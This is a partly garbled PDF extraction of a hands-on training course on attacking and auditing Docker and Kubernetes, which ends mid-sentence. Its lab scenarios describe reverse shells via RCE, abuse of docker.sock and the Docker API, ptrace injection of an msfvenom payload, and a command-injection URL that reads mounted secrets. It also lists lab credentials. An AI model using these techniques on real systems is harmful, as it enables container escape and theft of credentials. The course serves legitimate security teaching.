Attacking and Auditing Docker Containers and Kubernetes Clusters
Attacking and Auditing Docker Containers and Kubernetes Clusters
Abstract
An organisation using microservices or any other distributed architecture rely heavily on
containers and container orchestration engines like Kubernetes and as such its infrastructure
security is paramount to its business operations.
This course will set the base for security testers and DevOps teams to test for common security
vulnerabilities and configuration weaknesses across containerised environments and
distributed systems. It also helps to understand approach and process to audit the Kubernetes
environment for security posture.
The courseware is meant to introduce participants to container and cluster management with
Kubernetes.
The focus is on the security aspects of application and the container infrastructure
The participants will learn the common tools and techniques that are used to attack
applications running in containerized environments
The participants will be introduced to Kubernetes and learn to assess the attack surfaces
applicable for a given application on the cluster
The participants will learn how to audit for security based on best practices using tools
and custom scripts
As part of the course delivery, the trainer will share examples of real world security issues
found in penetration testing engagements to showcase mapping of the concepts with
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 1/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Hardware Requirements
At least 8 GB of RAM, 10GB of Diskspace free on the system
Laptop should support hardware-based virtualization
If your laptop can run a 64-bit virtual machine in Oracle VirtualBox it should work
Network Connectivity or USB Ports for copying data
Trainer will provide the VM and dedicated Kubernetes cluster configuration for each
student with administrative access to have a hand-on experience during the training
Prerequisites
Basic knowledge of using the Linux command line
System administration basics like servers, applications configuration and deployment
Familiarity with container environments like Docker and distributed systems would be
useful
Take Aways
Complete hands-on training with a practical approach and real-world scenarios
Ebooks of the training covering all hands-on in a step by step guide (HTML, PDF, EPub,
Mobi)
Git repository of all the custom source code, scripts, playbooks used during the training
Resources and references for further learning and practice
Disclaimer
The attacks covered in the training are for educational purposes only. Do not test or
attack any system outside of the scope of this training lab unless you have express
permission to do so
The snippets, commands and scripts used throughout the training are not production-
ready, may not be bug-free and are not guaranteed in any way
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 2/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Control Groups
Attacking docker misconfiguration
Scenario
Solution
Auditing Docker containers and images
Docker images and containers
Scenario
Solution
Auditing Docker networks and volumes
Docker volumes and networks
Scenario
Solution
Docker integrity checks
amicontained - Introspection tool
Attacking & Auditing Docker Runtime & Registries
Docker runtime endpoints
Docker registries
Attacking container capabilities
Scenario
Solution
Linux Security Module - Apparmor nginx profile
Attacking swarm cluster secrets
Scenario
Solution
Attacking private registry images
Scenario
Solution
Docker bench security audit
Container Security Monitoring
Docker logging
Docker Events
Sysdig Faclo
Kubernetes Environment Setup
Import VM
Internet Check
Configure kubectl
Kubernetes 101
Getting Started with Kubernetes
Introduction to Kubernetes
Kubernetes Overview
The Illustrated Children's Guide to Kubernetes
Understanding Kubernetes specific technical terms
kubectl usage for pentesters
Deploying simple application in Kubernetes Cluster
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 4/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Environment Setup
Importing Virtual Machines
SSH into machines from your host
Common troubleshooting steps
Internet Check
Download VM
VM Name Source URL
docker- http://www.mediafire.com/file/3x1tgszet5blaz9/docker-
student.ova student.ova.zip/file
http://www.mediafire.com/file/39e1w5wt7tmxr43/docker-
docker-ctf.ova
ctf.ova/file
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 6/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Check the "Reintialize the MAC address of all network cards" checkbox, and click on Next
to import the ova file
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 7/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
username: student
password: Docker@321
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 8/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Your IP address may differ from what is visible in the screenshot. Please note down this IP
address for later use
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 9/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Check the "Reintialize the MAC address of all network cards" checkbox, and click on Next
to import the ova file
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 10/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
username: ctf
password: Dockerctf@321
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 11/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Your IP address may differ from what is visible in the screenshot. Please note down this IP
address for later use
Test Setup
Ensure you are able to SSH into both Student and CTF VM from your host using an SSH
client.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 12/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
ssh student@STUDENTVMIP
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 13/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
ssh ctf@CTFVMIP
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 14/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Internet Check
Browse to https://appsecco.com from you host browser
Run curl ifconfig.co from your virtual machines
Introduction
Docker containers wrap a piece of software in a complete filesystem that contains everything
needed to run: code, runtime, system tools, system libraries and anything that can be installed
on a server. This guarantees that the software will always run the same, regardless of its
environment.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 15/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 16/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Terminology
Docker Image
Read only file with OS, libraries and apps
Anyone can create a docker image
Images can be stored in Docker hub (default public registry) or private registry
Docker Container
Stateful instance of an image with a writable layer
Contains everything needed to run your application
Based on one or more images
Docker Registry
Repository of images
Docker Hub
Public docker registry
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 17/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Docker Search
You can also search through all publicly available images in docker hub
Docker run
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 18/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Run the following command to start an Ubuntu container with interactive bash shell
docker ps
docker ps -a
docker images
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 19/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Accessing the container service from the host system using mapped port
curl localhost:7777
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 20/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Accessing the container service using the container IP and container port
ip addr
curl 172.17.0.2:80
Dockerfile
A Dockerfile is a configuration file that contains instructions for building a Docker image
Provides a more effective way to build images compared to using docker commit
Easily fits into your continuous integration and deployment process
Example Dockerfile
FROM instruction specifies what the base image should be
RUN instruction specifies a command to execute
CMD is to provide defaults for an executing container
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 21/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
# Example of a comment
FROM ubuntu
CMD ["htop"]
mkdir htop-container
cd htop-container
FROM ubuntu
curl \
htop
CMD ["htop"]
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 22/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
References
Dockerfile reference
Best practices for writing Dockerfiles
Docker Management
There are different commands which will be very handy while using and managing docker
containers.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 23/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Docker history
Show the history of an image
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 24/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
docker ps -a
docker rm dummynginx
cd /opt/wordpress
docker-compose up -d
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 25/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Ignore any error related to broken CSS. This is due to IP address mismatch in Wordpress
configuration.
Looking at docker-compose.yml
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 26/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
version: '3.3'
services:
db:
image: mysql:5.7
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: SuperSecret321
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: ComplicatedPassword
wordpress:
depends_on:
- db
image: wordpress:latest
ports:
- "8000:80"
restart: always
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: ComplicatedPassword
volumes:
db_data:
docker volume ls
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 27/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
docker network ls
Docker Swarm
A swarm is a group of machines that are running Docker and joined into a cluster. After that
has happened, you continue to run the Docker commands you're used to, but now they are
executed on a cluster by a swarm manager. The machines in a swarm can be physical or virtual.
Let's setup docker swarm cluster
docker node ls
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 28/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
docker service ls
curl STUDENTIP:5555
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 29/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
References
Getting started with swarm
Portainer
Portainer is a simple management solution for Docker. Easily manage your Docker hosts and
Docker Swarm clusters via Portainer web user interface.
Run portainer using the below command
-v /opt/portainer:/data portainer/portainer
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 30/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
The application is running at CTF VM. You can access it by navigating to http://CTFVMIP
This NodeJS application is vulnerable to remote code execution (RCE) in q GET parameter.
Access the endpoint using http://CTFVMIP/?q="docker"
To exploit this RCE, we will be using below payload. Here 192.168.56.3 need to replace
with your student VM IP
This NodeJS application is vulnerable to remote code execution (RCE) in q GET parameter.
Access the endpoint using http://CTFVMIP/?q="docker"
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 32/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
To exploit this RCE, we will be using below payload. Here 192.168.56.3 need to replace
with your student VM IP
Start the netcat listener on student machine to get the reverse shell
nc -lvp 5555
To exploit and get reverse shell use the below URL. It contains the payload to connect
back to student vm. Ensure that you have replaced 192.168.56.3 with your student VM
IP
Now we will receive the reverse shell in our student vm where we listening via nc
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 33/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Now, we have shell inside the docker container, we can explore the container for post
exploitation
We can see that ls -l /var/run/docker.sock is available and mounted from the host
system.
This allows attacker to access the host docker service using host option with docker
client by using the UNIX socket
The docker client is already downloaded into the container and is at /root/docker
cd /root/docker/
ls -l
To access the host resource using the docker.sock UNIX socket. Run the following
./docker -H unix:///var/run/docker.sock ps
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 34/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Namespaces
Docker uses namespaces to provide the isolated workspace called the container. When you run
a container, Docker creates a set of namespaces for that container.
The pid namespace: Process isolation (PID: Process ID)
The net namespace: Managing network interfaces (NET: Networking)
The ipc namespace: Managing access to IPC resources (IPC: InterProcess
Communication)
The mnt namespace: Managing filesystem mount points (MNT: Mount)
The uts namespace: Different host and domain names (UTS: Unix Timesharing System)
The user namespace: Isolate security-related identifiers (USER: userid, groupid)
Namespaces Demonstration
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 35/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
sudo ls /proc/[pid]/ns/
PID namespace
PID namespaces isolate the process ID number space, meaning that processes in different
PID namespaces can have the same PID
PID namespaces allow containers to provide functionality such as suspending/resuming
the set of processes in the container and migrating the container to a new host while the
processes inside the container maintain the same PIDs
For example, while running nginx docker container we always get PID 1 for nginx but at
the host we see a different PID like 9989
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 36/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Here we can see that both process have different pids in host system but inside containier
they both use pid 1
Capabilities
Capabilities turn the binary "root/non-root" into a fine-grained access control system. Processes
(like web servers) that just need to bind on a port below 1024 do not have to run as root, they
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 37/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Starting with kernel 2.2, Linux divides the privileges traditionally associated with
superuser into distinct units, known as capabilities, which can be independently enabled
and disabled.
Capabilities Demonstration
Let's run ping command in a container
ping 127.0.0.1 -c 2
ping 127.0.0.1 -c 2
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 38/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
capsh --print
capsh --print
It is possible to access the host devices from the privileged containers using more
/dev/kmsg
The /dev/kmsg character device node provides userspace access to the kernel's printk
buffer.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 39/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Control Groups
The kernel uses cgroups also known as control groups to group processes for the purpose of
system resource management. Cgroups allocate CPU time, system memory, network
bandwidth, or combinations of these among user-defined groups of tasks.
Let's run two containers with different cpu shares
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 40/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
References
Limit a container's resources
The Docker daemon can listen for Docker Engine API requests via three different types of
Socket unix , tcp , and fd . To access remotely we have to enable tcp socket. The
default setup provides un-encrypted and un-authenticated direct access to the Docker
daemon.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 41/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Scan the 2375 and 2376 port using nmap from student VM
curl 192.168.56.4:2375/images/json | jq .
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 42/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Attacker can abuse this by using the docker daemon configuration to access the host
system's docker runtime
docker -H tcp://CTFVMIP:2375 ps
Use the 2376 port for exposing if required to expose the Docker API. Otherwise use fd
or socket to expose the docker runtime daemon
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 44/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 45/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Vulners audit tool provides you with the ability to easily check the OS for vulnerable
packages. Select your OS type, version and paste the list of installed packages to identify
the vulnerable software.
cat /etc/issue
Now, we will paste these packages in the vulners and see the list of known vulnerabilities
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 46/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Trivy can also be used for running vulnerability scan on docker images.
-v ~/.cache:/root/.cache/ \
-v /var/run/docker.sock:/var/run/docker.sock \
aquasec/trivy ubuntu
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 47/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
custom-htop
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 48/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
docker volume ls
docker network ls
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 49/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
We can use our traditional toolset like nmap (or) nc for performing scans and information
gathering
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 50/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
sudo -i
cd
/var/lib/docker/volumes/1e030154f4952361cec6c21e838a0fb617c7b7cc6359570407eb9f697b22
ls
D - Delete
C - Change
Demonstration
Let's run a ubuntu container and perform some changes
mkdir -p /data/output
exit
amicontained
This is a container introspection tool that lets you find out what container runtime is being used
as well as the features available.
Docker container running with no privileges
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 52/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 53/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 54/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
sudo ls -l /var/lib/docker/
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 55/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
curl -s http://localhost:5000/v2/_catalog | jq .
Get the list of tags and versions of a docker image from the registry
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 56/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
curl -s http://localhost:5000/v2/devcode/tags/list | jq .
cat /.aws/credentials
Lets check the default docker daemon configuration. This prints the default username and
registry used by the docker run time
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 57/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Lets look for the configured registries from the host. The credentials may authorize us to
pull and/or push images to the registry
cat ~/.docker/config.json
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 58/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Also the container has enabled --pid=host so we can access then host process using
top command
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 59/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Since an attacker can list host processes and has the sys_ptrace capability. Attacker can
exploit this scenario to inject and execute code from the address space of any host
process. This effectively results in a docker escape as the attacker can execute code
outside the container.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 60/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Steps to attack
Generate reverse shell payload using metasploit's msfvenom program. Replace the
192.168.56.3 with student vm IP address.
cd /home/student/linux-injector
Send the exploit and injector program to the container using simple python server. Run
the below command in student vm
cd /home/student
Download the payload in the ctf vm container. Run the below command in the CTF vm
and inside the sysmon container. Ensure you replace the 192.168.56.3 with your
student vm IP
cd linux-injector
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 61/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Start the nc listener to receive the connect back shell in student vm. Run the following
command in student VM
nc -lvp 4444
Now identify the process, which is running as root in the host system to gain root access
for connect back. Run the following command inside CTF vm sysmon container
On successful injection of payload, we get a reverse connection at our listener with access
to host system outside the container
AppArmor.
Demonstration
Let's run a simple nginx container
sh
dash
bash
Now lets apply the apparmor profile for the container and see if we can perform other
operations like sh and dash
cd /opt/docker-nginx
sh
dash
bash
We can access the application container's environment variables using the printenv
command by visiting http://CTFVMIP:8080/?domain=;printenv
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 64/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
The secrets are mounted via docker secrets at /var/run/ or /run/ . We can access
them by visiting http://CTFVMIP:8080/?domain=;cat /run/secrets/data_api_key
A similar approach can be user for docker swarm and kubernetes cluster environments
Target
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 65/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
165.22.221.65
curl 165.22.221.65:5000/v2/_catalog
curl 165.22.221.65:5000/v2/privatecode/tags/list
Enter into the container using the below command. Look for interesting file and folders
cd /app
ls -la
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 66/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
git log
Then revert to the commit where environment variables are there. Then look for files and
secrets
ls -la
cat .env
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 67/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 68/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
cd /opt/docker-bench-security
Docker Logging
The command shows information logged by a running container. The docker
docker logs
service logs command shows information logged by all containers participating in a service.
The information that is logged and the format of the log depends almost entirely on the
container's endpoint command.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 69/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Examples
Fetch the logs of a container
docker run --name testlogs -d ubuntu sh -c "while true; do $(echo date); sleep 1;
done"
date
Reference
docker logs
Logging with Docker
Docker Events
Docker events generates real time events from the server.
Looking for the global events generated by the docker runtime
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 70/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
References
docker events
Using docker events with code
Sysdig Falco
Sysdig Falco is an open source container runtime security. It is a behavioral monitoring
software designed to detect anomalous activity. Sysdig Falco works as a intrusion detection
system on any Linux host, although it is particularly useful when using Docker since it supports
container-specific context like container.id , container.image or namespaces for its rules.
sudo falco
Then start another container and perform operations like executing shell, reading shadow
file, etc.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 71/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
cat /etc/passwd
cat /etc/shadow
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 72/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 73/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Ensure you have helm2 symlink pointing to the Helm v2.x binary. The setup script uses
helm2 to invoke Helm v2.
NOTE: Setting up a cluster in Google cloud may incur cost. Refer to setup.sh on the
resources created.
Create Cluster
export STUDENTPROJECTNAME="Google-Cloud-Project-Name"
./setup.sh
The cluster creation script setup.sh will generate a script destroy.sh that can be used
to delete the resources created on Google cloud
Destroy Cluster
./destroy.sh
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 74/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Import VM
Click on Virtual Box File -> Import
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 75/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Click on Import
username: student
password: hackk8s
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 76/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
Vulnerable Apps
Each student cluster has intentionally vulnerable apps running which will be used during lab
scenarios. The apps are available in following URLs
http://mailbox-service.oss-k8s-security.cloudsec.training
http://server-health.oss-k8s-security.cloudsec.training
http://connectivity-check.oss-k8s-security.cloudsec.training
NOTE: All attacks described in this document must be executed from Kubernetes Student VM.
The apps are accessible from Student VM after you setup port forward locally. Open a terminal
in Student VM and execute the command below to setup a port forward into the cluster.
Now you can navigate to the vulnerable applications by URL given above.
This is an important module to understand and cover because Kubernetes has many
technical terms and commands that may be new to the participants.
Each module contains some background information on major Kubernetes features and
concepts and includes an interactive online tutorial. This is great for practicing the basics. Did
we mention that this is available to all without any charges so you can practice it whenever you
feel like it?
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 77/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
These interactive tutorials let you manage a simple cluster and its containerized applications
for yourself.
Creating a Cluster
https://kubernetes.io/docs/tutorials/kubernetes-basics/create-cluster/cluster-interactive/
Deploying an App
https://kubernetes.io/docs/tutorials/kubernetes-basics/deploy-app/deploy-interactive/
source: https://www.youtube.com/watch?v=4ht22ReBjno
Introduction to Kubernetes
Why Containers
The Old Way to deploy applications was to install the applications on a host using the operating
system package manager. This had the disadvantage of entangling the applications'
executables, configuration, libraries and lifecycles with each other and with the host OS. One
could build immutable virtual machines(VM) in order to achieve predictable rollouts and
rollbacks, but VMs are heavyweight and non-portable.
https://madhuakula.com/content/attacking-and-auditing-docker-containers-and-kubernetes-clusters/print.html 79/165
09/11/2021, 02:52 Attacking and Auditing Docker Containers and Kubernetes Clusters
The New Way is to deploy containers based on operating system level virtualization rather than
